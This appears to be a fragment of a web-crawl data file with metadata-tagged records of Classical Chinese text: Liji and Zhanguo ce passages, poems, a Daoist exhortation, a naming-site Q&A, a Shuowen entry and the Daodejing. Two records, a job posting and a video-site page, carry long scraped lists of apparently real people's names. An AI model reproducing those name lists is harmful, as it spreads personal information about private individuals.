古之学者.比物丑类.鼓无当于五声.五声弗得不和.水无当于五色.五色弗 得不章.学无当于五官.五官弗得不治.师无当于五服.五服弗得不亲. 君子曰.大德不官.大道不器.大信不约.大时不齐.察于此四者.可以有志 于学矣.三王之祭川也.皆先河而后海.或源也.或委也.此之谓务本.\n下一卷 回目录","id":"","dump":"CC-MAIN-2022-05","url":"http:\/\/www.shuku.net:8082\/novels\/classic\/qpuhbfzmpsl\/lij\/lij16.html","date":"2022-01-18T01:58:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320300658.84\/warc\/CC-MAIN-20220118002226-20220118032226-00425.warc.gz","language":"lzh","language_score":0.4292494357,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.42924943566322327, \"cmn_Hani_score\": 0.37352874875068665, \"nan_Hani_score\": 0.07911065965890884, \"wuu_Hani_score\": 0.03030828759074211, \"jpn_Jpan_score\": 0.02395598404109478, \"yue_Hani_score\": 0.012644228525459766}","num_words":55,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.202,"stopwords_ratio":0.018,"flagged_words_ratio":0.0,"lang_id_score":0.449,"perplexity_score":500.0,"cluster_detection":1} +{"text":"戰國策卷十四 ‧ 楚策一\n張儀為秦破從連橫\n張儀為秦破從連橫,說楚王曰:「秦地半天下,兵敵四國,被山帶河,四塞以為固。虎賁之士百餘萬,車千乘,騎萬疋,粟如丘山。法令既明,士卒安難樂死。主嚴以明,將知以武。雖無出兵甲,席卷常山之險,折天下之脊,天下后服者先亡。且夫為從者,無以異于驅羣羊而攻猛虎也。夫虎之與羊,不格明矣。今大王不與猛虎而與羣羊,竊以為大王之計過矣。\n凡天下強國,非秦而楚,非楚而秦。兩國敵侔交爭,其勢不兩立。而大王不與秦,秦下甲兵,據宜陽,韓之上地不通;下河東,取成皋,韓必入臣于秦。韓入臣,魏則從風而動。秦攻楚之西,韓、魏攻其北,社稷豈得無危哉?\n且夫約從者,聚羣弱而攻至強也。夫以弱攻強,不料敵而輕戰,國貧而驟舉兵,此危亡之術也。臣聞之,兵不如者,勿與挑戰;粟不如者,勿與持久。夫從人者,飾辯虛辭,高主之節行,言其利而不言其害,卒有楚禍,無及為已,是故願大王之熟計之也。\n秦西有巴蜀,方船積粟,起于汶山,循江而下,至郢三千餘里。舫船載卒,一舫載五十人,與三月之糧,下水而浮,一日行三百餘里;里數雖多,不費馬汗之勞,不至十日而距扞關;扞關驚,則從竟陵已東,盡城守矣,黔中、巫郡非王之有已。秦舉甲出之武關,南面而攻,則北地絕。秦兵之攻楚也,危難在三月之內。而楚恃諸侯之救,在半歲之外,此其勢不相及也。夫恃弱國之救,而忘強秦之禍,此臣之所以為大王之患也。且大王嘗與吳人五戰三勝而亡之,陳卒盡矣;有偏守新城而居民苦矣。臣聞之,攻大者易危,而民敝者怨于上。夫守易危之功,而逆強秦之心,臣竊為大王危之。\n且夫秦之所以不出甲于函谷關十五年以攻諸侯者,陰謀有吞天下之心也。楚嘗與秦構難,戰于漢中。楚人不勝,通侯、執珪死者七十餘人,遂亡漢中。楚王大怒,興師襲秦,戰于藍田,又卻。此所謂兩虎相搏者也。夫秦、楚相弊,而韓、魏以全制其後,計無過于此者矣,是故願大王熟計之也。\n秦下兵攻衞、陽晉,必扃天下之匈,大王悉起兵以攻宋,不至數月而宋可舉。舉宋而東指,則泗上十二諸侯,盡王之有已。\n凡天下所信約從親堅者蘇秦,封為武安君而相燕,即陰與燕王謀破齊共分其地。乃佯有罪,出走入齊,齊王因受而相之。居二年而覺,齊王大怒,車裂蘇秦于市。夫以一詐偽反覆之蘇秦,而欲經營天下,混一諸侯,其不可成也亦明矣。\n今秦之與楚也,接境壤界,固形親之國也。大王誠能聽臣,臣請秦太子入質于楚,楚太子入質于秦,請以秦女為大王箕箒之妾,效萬家之都,以為湯沐之邑,長為昆弟之國,終身無相攻擊。臣以為計無便于此者。故敝邑秦王,使使臣獻書大王之從車下風,須以決事。」\n楚王曰:「楚國僻陋,託東海之上。寡人年幼,不習國家之長計。今上客幸教以明制,寡人聞之,敬以國從。」乃遣使車百乘,獻駭雞之犀、夜光之璧于秦王。","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/xn--5rtnx620bw5s.tw\/a2\/a202\/186.htm","date":"2019-02-16T06:48:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247479885.8\/warc\/CC-MAIN-20190216045013-20190216071013-00473.warc.gz","language":"lzh","language_score":0.4912418127,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.49124181270599365, \"cmn_Hani_score\": 0.37359336018562317, \"nan_Hani_score\": 0.09299905598163605, \"wuu_Hani_score\": 0.034141045063734055}","num_words":13,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.169,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.642,"perplexity_score":500.0,"cluster_detection":1} +{"text":"荊州荊福汽車零部件有限公司\n- 企業性質:合資企業\n- 所屬行業:生產\/制造\/加工\/開采\n- 注冊資金:1800萬人民幣\n- 公司規模:300人以上\n- 所在地區:沙市區\n- 瀏覽次數: 次\n福利:保險+交通補助+加班補助+餐補+包住,節日費、帶薪法定假、年終獎!\n董舜璟 李振華 肖鵬 徐鋒 王斌 林林 易先鵬 陳誠 向菁菁 劉軍 徐玉青 鄧旭 邰喬喬 王士正 王先生 黃浩 馬文強 萬正國 汪金萍 熊兵兵 陳程 詹敏 張宇虎 吳凡 談亞洲 謝雨 張強 鄒健 龔文祺 劉杰 余欽 宋哲 韓世奎 黃磊 黃少華 杜雙 樊華 李平 汪德智 王偉 陳亮 劉庚 嚴小姐 劉瀟 倪飛 毛國俊 彭旭坤 黃成 吳天宇 唐輝 陳金 焦心愿 肖方洋 陳先生 譚義 付磊 舒烈虎 廖定熠 宋文麗 代輝 張先生 陳先生 付杰 王玉林 王陳成 馬德忠 張利杰 謝光周 錢昆 曾敏 汪建華 劉海梅 李濤 羅先生 劉錢龍 伍新宇 雷剛 龍韋韋 劉芝銀 趙鋒 周輝 陳林 王立志 郭順 陳磊 熊傳光 向雷 樊勇 郭永強 張敏 李建 楊斌 賀高鵬 陳旭 黃林 徐濤 黃發望 代先生 余中元 陳曦 姚凱 萬先生 劉祥 余慶 劉先生 徐正東 王成 徐天遠 張雷 陳志斌 許來松 胡濤 田亞龍 楊小剛 張杰 楊先生 孫先生 李剛 周志 王家嘉 周志國 謝李琦 冉成名 張磊 胡奇 小王 汪穎 盧璠 覃藝 張先生 胡波 陳飛 王茂林 王志 慕劍秋 王夢遠 楊毛路 周星 楊志祥 范前前 陳曉慧 李偉 秦紅濤 趙穩業 游菲 郭銀豐 毛國俊 吳修武 段新宜 王祥明 張先生 鎮祥飛 張敏 盧峰 馬斌 肖鵬 黃文學 馬先生 鄧琴 朱強 侯黎明 黃輝 謝星星 張健 劉鳳仙 楊林 歐女士 文先生 郭兵 常樂樂 朱先生 康志豪 裴先進 朱軍 何瑤 李溪 朱先國 趙翔 居女士 江亮 萬方平 瞿岳明 王生 余云祖 張杰 鄒時瓊 張平 鄔前煒 朱方明 康樂 郭建華 鄭生偉 陳燕鵬 王家珍 阿磊 陳田 王先生 劉洋 張雨 柯靖 許先生 李振朝 張軍 劉非 陳晶晶 周勇 陶大林 田旭 何燕輝 李坤 萬先生 徐平 陳金勇 何卿 余中元 尤夢妮 蔡于海 王倩 宋磊磊 關葉飛 張文 章烈舟 文玉冬 肖洋 覃先生 陳靜 周維維 胡永方 湯軍 萬先生 吳天華 方露 鐘健 李虎 阮軍 侯義容 候小東 駱健 胡源 李昌眺 鄭文濤 查看更多瀏覽記錄\n1、在面試時可先在百度搜索一下荊州荊福汽車零部件有限公司招聘普工的相關信息,確定是否為虛假招聘信息!\n2、該招聘信息由會員自行發布,真實性由發布人負責,若發現招聘信息不實,歡迎舉報,我們將立即核實并處理!\n3、招聘單位無權向求職者收取任何費用,如有單位在面試過程中向您收取押金、保證金、體檢費、材料費、成本費等違規費用,指定醫院體檢等均為詐騙行為。","id":"","dump":"CC-MAIN-2019-35","url":"http:\/\/www.ukcrg.icu\/zhaopin-9151.html","date":"2019-08-18T03:25:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027313589.19\/warc\/CC-MAIN-20190818022816-20190818044816-00073.warc.gz","language":"lzh","language_score":0.4949800372,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.4949800372123718, \"cmn_Hani_score\": 0.30480334162712097, \"nan_Hani_score\": 0.18285731971263885, \"yue_Hani_score\": 0.016427287831902504}","num_words":254,"character_repetition_ratio":0.007,"word_repetition_ratio":0.0,"special_characters_ratio":0.27,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.551,"perplexity_score":500.0,"cluster_detection":1} +{"text":"loading...\n楊明 高海寧 陳曉華 姜大衛 馬海倫 李成昌 莊思敏 黃祥興 容天佑 樓嘉豪 何啓南 朱敏瀚 於洋 董敬文 楊玉梅 陳狄克 蔡國威 李豪 關梓陽 吳嘉儀 彭翔翎 曾慧雲 劉桂芳 蘇麗明 黃梓瑋 尹詩沛 梁珈詠 陳俊堅 蔡康年 王俊棠 秦啓維 鄧以婷 容羨媛 譚偉權 馮奕森 葉蒨文 朱斐斐 周梓盈 陳嘉慧\n黃智雯 袁偉豪 陳智燊 黃淑儀 孫慧雪 郭子豪 林秀怡 林景程 周梓盈 鍾志光 利穎怡 周志康 李國麟 梁舜燕 蘇恩磁 張明偉 郭田葰 魯振順 曾偉權 徐玟晴 譚坤倫 趙永洪 袁鎮業 關浩揚 周麗欣 李璧琦 郭千瑜 許家傑 張漢斌 曾慧雲 蕭徽勇 吳偉豪 曹思詩 招浩明 蘇麗明 陳建文 梁證嘉 王致迪 鄭恕峯 李日升 譚永浩 董敬文 張智軒 陳靖雲 蕭凱欣 廖麗麗 潘冠霖 沈愛琳 何佩珉 馮秀華 馬蹄露 布偉傑\n洪永城 黃心穎 湯洛雯 謝東閔 鄭子誠 潘志文 郭少芸 張慧儀 劉思希 於洋 陳婉婷 黎振燁 張美妮 馮素波 莊思明 王子涵 李霖恩 何豔娟 白雲 曾敏 吳珮如 周梓盈 陳靖雲 譚偉權 秦啓維 張漢斌 衛志豪 鄭詠謙 李海生 林敬剛 趙樂賢 楊證樺 曾健明 司徒暉 陳榮峻 盧峻峯 易智遠 方紹聰 謝可逸 黃耀煌 蕭凱欣 梁雯蔚 鄧英敏 黃建東 鄭恕峯 莫家淦 曾琬莎 李忠希 關浩揚\n李思捷 陳智燊 黃智雯 趙希洛 陳煒 古明華 孫慧雪 布偉傑 張名雅 陳家良 沈可欣 徐玟晴 蘇麗明 周梓盈 劉嘉琪 魯振順 林景程 潘志文 蘇恩磁 譚坤倫 林秀怡 利穎怡 李成昌 潘芳芳 潘冠霖 羅梓龍 陳偲穎 陳柏熹 張明偉 陳庭欣 王致迪 楊證樺 黃穎君 錢悅 田宇軒 鄭耀軒 吳綺珊 張雪瑩 林淑敏 方紹聰 張彥博 李晉強 張本立 周嘉洛 招浩明 吳偉豪 朱樂洺 吳嘉儀 李漫芬 趙樂賢 李日升 羅利期 羅莽 容天佑 陳珈穎 曾慧雲 邵卓堯 煒烈 張漢斌 陳偉琪 麥皓兒 周麗欣 郭田葰 曾健明 曹思詩\n袁偉豪 唐詩詠 朱晨麗 胡鴻鈞 黃祥興 賴慰玲 林子善 張彥博 趙希洛 黃子雄 郭子豪 王歌慧 張國強 煒烈 鄭敬基 範文雅 沈可欣 顧冠忠 祝文君 李日升 方紹聰 李啓傑 邵卓堯 許家傑 關浩揚 衛志豪 鄭家生 姚浩政 莫家淦 尹詩沛 楊家寶 楊潮凱 崔錦棠 秦啓維 李楓 林淑敏 朱斐斐 曹思詩 林希靈 潘梓鋒 謝芷倫 黃愷怡 餘應彤 李海生 陳勉良 彭紀諺 容羨媛 周麗欣 丘梓謙 李漫芬 劉溫馨 陳婉衡 陳靖雲 沈愛琳 莫偉文 徐玟晴 周梓盈 關偉倫 趙樂賢 繆家慶 招浩明 余子明 楊證樺 魏惠文 鄧\n影片內的所有影片上廣告與小鴨無關,請自己做好判斷不要受騙!\n小鴨影音的所有資源都搜集自網路,不做存儲和下載,若侵犯您的權益,請電郵至vod17365#protonmail.com,我們會在48小時內處理!","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/nonovod.com\/search\/-%E5%91%A8%E6%A2%93%E7%9B%88------------.html","date":"2020-10-24T05:53:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107882102.31\/warc\/CC-MAIN-20201024051926-20201024081926-00367.warc.gz","language":"lzh","language_score":0.7571717501,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.7571717500686646, \"cmn_Hani_score\": 0.1259513795375824, \"nan_Hani_score\": 0.10909844189882278}","num_words":273,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.248,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.779,"perplexity_score":500.0,"cluster_detection":1} +{"text":"惟夫人之高谊兮,真一时之女英。既富有此好德兮,又申之以令仪。带幽蕙之缥缈兮,佩明月之陆离。人自操舍之不一兮,雅独取善以自持。何报施之或忒兮,罹祸艰於不虞。颜色炫而未暮兮,所天忽以殒俎。痛平素之偕处兮,忍此奄奄而嫠居。沥哀血以自誓兮,甘饵毒而捐躯。佩珠玉以死真兮,固众女之所嗤。曷卓越以不顾兮,弃性命其如遗。美不可强有兮,信天资之所开。要反心以内省兮,岂或售乎人知。嗟三晨之未浃兮,遂俱游而莫留。死者有知兮,羌魂魄以并游。日黄昏而不见兮,虚室窈其无人。惟哀风以归来兮,动素幔之襜襜。何平生之款密兮,遽音声之不可寻。俨遗迹以在目兮,纷百忧而攻心。岂至理不吾喻兮,如意厚而悲深。抚双榇以增恸兮,涕清血而洒襟。已矣哉,人生有死兮,自前古而既然。精魄忽其不驻兮,惟修名之可延。忍录录以寓世兮,信烈者之所羞。傥佳志之获申兮,虽奄忽其焉悼。\n蔡氏哀词","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/guoxue.baike.so.com\/query\/view?type=poem&id=af911d2f734ee7a51e3de40301cb3369","date":"2020-10-25T23:10:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107890028.58\/warc\/CC-MAIN-20201025212948-20201026002948-00531.warc.gz","language":"lzh","language_score":0.5163642764,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5163642764091492, \"nan_Hani_score\": 0.07402290403842926, \"zxx_Latn_score\": 0.04325729236006737, \"und_Tang_score\": 0.039762694388628006, \"und_Grek_score\": 0.023001259192824364, \"cmn_Hani_score\": 0.021817930042743683, \"und_Xsux_score\": 0.01545637845993042, \"und_Adlm_score\": 0.015328675508499146, \"und_Sgnw_score\": 0.014587759971618652, \"und_Bamu_score\": 0.013159551657736301, \"und_Glag_score\": 0.01297544501721859, \"und_Cyrl_score\": 0.011642017401754856, \"und_Vaii_score\": 0.011433243751525879}","num_words":2,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.24,"perplexity_score":500.0,"cluster_detection":1} +{"text":"明代:归有光\n倚玉山之孤峙兮,前娄水之迂萦。占恺爽于邑中兮,雄面势于山阳。\n有默斋之主人兮,搆冰崖之草堂。既命名之特异兮,讯斯义其谁当?\n惟兹山之秀丽兮,日悠然其可望。览云物之生态兮,忽朝暮之无常。\n奚所夏暑冬寒兮,历四时而凝霜。知主人之远志兮,托幽遐以自将。\n少负奇以抗节兮,抱终天于蛮荒。泣苍梧之不返兮,踰五岭以傍徨。\n卒茕茕以自遂兮,廓天路之翱翔。执法度以匡主兮,志不毁乎直方。\n逭鈇钺之严诛兮,即远窜乎夜郎。旋蒙恩以内徙兮,赖天王之圣明。\n秉外台之宪节兮,赫金紫之辉煌。一朝去此而不顾兮,飘然来即乎故乡。\n嗟夫,食肉之多鄙兮,人皆以衣锦为荣。终纷竞以火驰兮,日炎炎其无央。\n似夸父之逐日兮,孰知暍而慕大清凉!吾览斯堂之名兮,洒然如御夫北风之","id":"","dump":"CC-MAIN-2021-25","url":"https:\/\/www.wancibaike.com\/shici\/47486.html","date":"2021-06-16T00:49:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623487621699.22\/warc\/CC-MAIN-20210616001810-20210616031810-00442.warc.gz","language":"lzh","language_score":0.5732706785,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5732706785202026, \"nan_Hani_score\": 0.17222994565963745, \"cmn_Hani_score\": 0.14064182341098785, \"wuu_Hani_score\": 0.05549456551671028, \"yue_Hani_score\": 0.03889329358935356, \"jpn_Jpan_score\": 0.012039304710924625}","num_words":11,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.514,"perplexity_score":500.0,"cluster_detection":1} +{"text":"帝君曰:天地,一大父母也。父母之於子無不愛。天地之於人亦無不愛。則必使人人飽暖也。人人安寧也。人人壽考也。然而飢寒者不免。危難者不免。夭折者不免。斯亦慘矣。又有兵戈以戕之。瘟疫以戕之。旱乾水泛以戕之。死者血流屍積。生者東奔西馳。困苦千般。顛連萬狀。嗚呼,天地誠何心哉。既生之而又殺之。然且怨天地之不仁。而不知天地實有無可如何者。人悲之。天地更悲之也。人為人悲之。天地早為人悲之也。天地為人悲之。而不能為人宥也。何也?人為之非天地為之也。非天地為之。天地何能為人宥也。人自為之。人又何得怨天地也。何言乎人自為之也?人之所以為人者理也。理亡斯人亡也。\n為臣者不忠也。為子者不孝也。\n為兄者不友也。為弟者不恭也。\n為夫者不義也。為婦者不順也。\n為長者不惠也。為幼者不敬也。\n為師者不嚴也。為友者不信也。\n士競文藝而忽德行也。農圖良田而昧心地也。\n工作偽而弗作德也。商見利而弗見義也。\n官為家而無赤心為國也。吏為私而無實心為公也。\n理刑名者忘善俗之遠猷也。司教訓者昧明倫之先務也。\n僧道滅綱常而傷風化也。娼優棄廉恥而蠱愚頑也。\n隸卒假虎威而蠹編氓也。豪強肆鯨吞而凌寡弱也。\n雜流矜奇異而藏陰險也。遊民結黨羽而逞陰謀也。\n邪淫者比比,奸詐者多多也。\n腥聞在上,黑氣觸空。是以劫數定而災害臨也。然而天地甚愛人。非遽以災害戕人也。其初亦望人悔過遷善而消此大劫也。是故:\n春之元,教人以仁也。夏之亨,教人以義也。\n秋之利,教人以禮也。冬之貞,教人以智也。\n日之昃月之食,教人以持盈而戒滿也。\n雷之迅風之烈,教人以恐懼而修省也。\n人有不明之事,天無不報之條。如一切飢寒危難夭折之迭出錯見者,無非欲以小懲大,以一警眾也。使人人體天地愛人之心,而望人悔過遷善者也。何至末劫臨頭,如此其慘也。惟天地厚愛人而人不知,厚望人而人不覺。惡業太重,惡類太繁。尋常災害,掃除不盡而大劫始臨也。兵戈所不及者瘟疫以戕之。瘟疫所不及者,旱乾水泛以戕之。嗚呼!天地誠何心哉!\n吾奉上帝命,飛鸞開化。所以正人心而救末劫者無不至矣。而人心卒不可正,末劫卒不可救者,人之迷也。迷於前,吾猶冀其悟於後。故茲大劫既臨之餘,復諄諄為爾世人言之。使爾世人知,天地之愛人如此其深,天地之望人如此其切。庶乎末劫,不能救於已往者,猶或可救於將來也。爾世人其速速悔過,速速遷善。勿負天地厚愛人之心也,勿負天地厚望人之心也。其遭劫而死者,愛之無可愛也,是自絕也。其遭劫而未至於死者,望之猶可望也,宜自新也。其未遭劫而安享太平者,天地厚愛之厚望之也,宜自省而自修也,勿失愛而失望也。慎之慎之!\n一言恐天地聞之也,一行恐天地見之也,一念恐天地窺之也。人可瞞,天地不可瞞也。人可欺,天地不可欺也。天地在吾心,吾心即天地也。時時不昧心,即時時敬天地也。吾心時時敬天地,天地即時時佑吾身也。天地時時佑吾身,則百福駢臻,千祥雲集,又何災害之不可弭,何劫數之不可消也。世人見吾訓者,其思之!其細思之!為愚夫愚婦講說之,鈔寫而傳送之,刊印而廣佈之。勸人一善,准五十功。勸人十善,准五百功。造福良非淺也。勉之勉之!","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.daoisms.com.cn\/2011\/18\/17\/77310\/","date":"2024-02-21T02:20:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947473360.9\/warc\/CC-MAIN-20240221002544-20240221032544-00843.warc.gz","language":"lzh","language_score":0.4764637053,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4764637053012848, \"cmn_Hani_score\": 0.3892401158809662, \"nan_Hani_score\": 0.07107086479663849, \"wuu_Hani_score\": 0.03686899691820145, \"jpn_Jpan_score\": 0.01983059011399746}","num_words":22,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.573,"perplexity_score":500.0,"cluster_detection":1} +{"text":"本文目录\n网上起名字哪个网站好?\n【起名网】综合九大起名方式,如国学、五格、生肖、诗词、音形义、星座、期望等方面。\n并且校对了真太阳时,以及结合起名网1000万起名大数据流行度分析,让名字寓意美好又紧跟时代潮流,摒弃流俗名字,综合诗词典故,让名字个性鲜明、好听内涵又时尚。\n我想给孩子起个名字,男孩王文。女孩王淑。爸爸王先生,妈妈林女士?\n王文曦 王文晨 王文凯 王文叶 王文沁 王文维 王文满 王文斌 王文玺 王文斌 王文昊 王文迪 王文嫣 王文皓 王文亮 王文竹 王文伟 王文磊 王文诚 王文骁 王文斌 王文尧 王文荟 王文昊 王文淙 王文骏 王文冉 王文源 王文洋 王文翔 王文羽 王文修 王文辉 王文剑 王文泽 王文俊 王文楷 王文进 王文涛 王文洋 王文梓 王文乐 王文硕 王文杰 王文帆 王文森 王文帆 王文增 王文希 王文滨 王文赫 王文斌 王文楠 王文金 王文翔 王文凌 王文斌 王文梁 王文廉 王文梵 王文新 王文涛 王文滢 王文业 王文凯 王文胜 王文龙 王文正 王文涛 王文颦 王文鹏 王文远 王文熠 王文玫 王文国 王文垚 王文明 王文睿 王文禄 王文骜 王文文 王文路 王文宝 王文冲 王文腾 王文恬 王文凯 王文光 王文海 王文光 王文鑫 王文屹 王文瑞 王文明 王文旭 王文晗 王文烨 王文谦 王文青 王文冲\n女孩\n王淑灵 王淑菲 王淑莺 王淑庆 王淑硕 王淑丽 王淑瑾 王淑静 王淑佳 王淑宁 王淑静 王淑心 王淑鹭 王淑静 王淑滋 王淑群 王淑娥 王淑星 王淑涵 王淑菲 王淑玲 王淑岩 王淑蕾 王淑芳 王淑勇 王淑艳 王淑敏 王淑娟 王淑婧 王淑娜 王淑莹 王淑净 王淑静 王淑桀 王淑琦 王淑云 王淑琳 王淑薇 王淑帅 王淑莉 王淑琼 王淑雯 王淑丽 王淑瑕 王淑思 王淑滟 王淑锋 王淑丽 王淑静 王淑丽 王淑瑜 王淑姿 王淑也 王淑健 王淑欣 王淑灵 王淑煜 王淑洁 王淑洪 王淑颖 王淑丹 王淑娜 王淑臻 王淑越 王淑涵 王淑丽 王淑瑛 王淑梓 王淑菲 王淑沁 王淑甜 王淑婧 王淑涵 王淑玲 王淑盛 王淑俊 王淑燕 王淑严 王淑迎 王淑慧 王淑彤 王淑丽 王淑玉 王淑穆 王淑杰 王淑銮 王淑佳 王淑波 王淑琳 王淑琴 王淑月 王淑越 王淑香 王淑岚 王淑君 王淑幻 王淑娜 王淑杰 王淑菲 王淑倩\n取个网名特别难的?\n柒冉,余生,抽离,贪新,蜜酒,体味,爱囚,无碍,暖色,遇见,魂俅,落殇,闷热,强挽。魔王,安逸,屏息,荆棘,面具,顾城,蝶衣,欢颜,星星,微弱,淡别,淡网,苦酒,酒客,刺青,驼背,奈何,輕描,余音,海洋,遇见,指忘,拥有,像你,悬崖,桃芷,断点,情殇,痊愈,宅男,难捱,殇情,梓铭,来不,缘分,俗人\n唐僧没给孙悟空取名前孙悟空叫什么?\n在花果山为王后称为美猴王,拜师后菩提祖师给起名孙悟空,拜师唐僧后唐僧又给他起了个别名行者,所以孙行者才是唐僧为悟空取的名字。\n原文∶行者:三藏见他意思,实有好心,真个象沙门中的人物,便叫:徒弟啊,你姓甚么?猴王道:我姓孙。三藏道:我与你起个法名,却好呼唤。猴王道:不劳师父盛意,我原有个法名,叫做孙悟空。\n三藏欢喜道:\"也正合我们的宗派。你这个模样,就象那小头陀一般,我再与你起个混名,称为行者,好么?\"悟空道:好!好!好!自此时又称为孙行者。","id":"","dump":"CC-MAIN-2024-18","url":"http:\/\/www.qimingt.com\/11122.html","date":"2024-04-16T01:06:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817036.4\/warc\/CC-MAIN-20240416000407-20240416030407-00245.warc.gz","language":"lzh","language_score":0.5341637731,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.534163773059845, \"cmn_Hani_score\": 0.3642364740371704, \"nan_Hani_score\": 0.08647552132606506, \"wuu_Hani_score\": 0.014351164922118187}","num_words":212,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.695,"perplexity_score":500.0,"cluster_detection":1} +{"text":"枉法者、違法也。法當有罪、而以財求免、是曰賕。受之者亦曰賕。吕㓝。五過之疵惟來。馬本作惟求。云有請賕也。按上文惟貨者、今之不枉法贓也。惟求者、今之枉法贓也。\n形聲包會意。巨畱切。三部。\n載各本作戴。今依韵會正。謂載質而往求人偁貣也。質謂以物相贅。","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/www.shuowen.org\/view\/3969?bushou=%E8%B2%9D","date":"2024-04-12T23:54:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296816465.91\/warc\/CC-MAIN-20240412225756-20240413015756-00311.warc.gz","language":"lzh","language_score":0.5978829265,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5978829264640808, \"cmn_Hani_score\": 0.1779879480600357, \"wuu_Hani_score\": 0.1061432734131813, \"nan_Hani_score\": 0.05569573491811752, \"jpn_Jpan_score\": 0.03826144337654114, \"yue_Hani_score\": 0.018477242439985275}","num_words":3,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.195,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.598,"perplexity_score":500.0,"cluster_detection":1} +{"text":"太上道德經\n水 讚\n無極玉炁顯降真水 淨清三界蒼靈萬物 香林法界開\n皈命 清塵解穢大天尊三稱\n香 讚\n香焚寶鼎 炁達諸天 威光烜赫接祥煙 降鑒此心虔\n展讀靈篇 擁護仗雷鞭\n皈命 香林說法大天尊三稱\n淨 壇 讚\n清淨元水\n日月花開 楊柳枝頭洗塵埃\n滴滴淨玄壇\n除穢除殃 消災降吉祥\n皈命 清泉龍變化淨壇大天尊三稱\n誦經玄蘊咒\n玄玄至道宗 上德體洪元 天真雖遠妙 近緣泥丸君\n宮寶皆七寶\n牕牅自分明 清淨常致真\n駕景乘紫雲\n日月左右照 昇仙長年存 七祖上生天 世為道德門\n太上道德經\n看宣太上道德經\n觀玅章第一\n道.可道.非常道.名.可名.非常名.無名天地之始.有名萬物之母.故常無欲以觀其妙.常有欲以觀其徼.此兩者同出而異名.同謂之玄.玄之又玄.眾玅之門.\n觀徼章第二\n天下皆知美之為美.斯惡已.皆知善之為善.斯不善已.故有無相生.難易相成.長短相形.高下相傾.音聲相和.前後相隨.是以聖人處無為之事.行不言之教.萬物作焉而不辭.生而不有.為而不恃.功成而弗居.夫惟弗居.是以不去.\n安民章第三\n不尚賢.使民不爭.不貴難得之貨.使民不為盜.不見可欲.使心不亂.是以聖人之治.虛其心.實其腹.弱其志.強其骨.常使民無知無欲.使夫知者不敢為也.為無為.則無不治.\n不盈章第四\n道冲而用之.或不盈.淵兮似萬物之宗.挫其銳.解其紛.和其光.同其塵.湛兮似若存.吾不知誰之子.象帝之先.\n守中章第五\n天地不仁.以萬物為芻狗.聖人不仁.以百姓為芻狗.天地之間.其猶橐籥乎.虛而不屈.動而愈出.多言數窮.不如守中.\n谷神章第六\n谷神不死.是謂玄牝.玄牝之門.是謂天地根.綿綿若存.用之不勤.\n無私章第七\n天長地久.天地所以能長且久者.以其不自生.故能長生.是以聖人後其身而身先.外其身而身存.非以其無私耶.故能成其私.\n若水章第八\n上善若水.水善利萬物而不爭.處眾人之所惡.故幾於道.居善地.心善淵.與善仁.言善信.政善治.事善能.動善時.夫唯不爭.故無尤.\n持盈章第九\n持而盈之.不如其已.揣而銳之.不可常保.金玉滿堂莫之能守.富貴而驕.自遺其咎.功成名遂.身退.天之道.\n玄德章第十\n載營魄抱一.能無離乎.專氣致柔.能嬰兒乎.滌除玄覽.能無疵乎.愛民治國.能無為乎.天門開闔.能為雌乎.明白四達.能無知乎.生之畜之.生而不有.為而不恃.長而不宰.是謂玄德.\n虛中章第十一\n三十輻.共一轂.當其無有車之用.埏埴以為器.當其無有器之用.鑿戶牖以為室.當其無有室之用.故有之以為利.無之以為用.\n為腹章第十二\n五色令人目盲.五音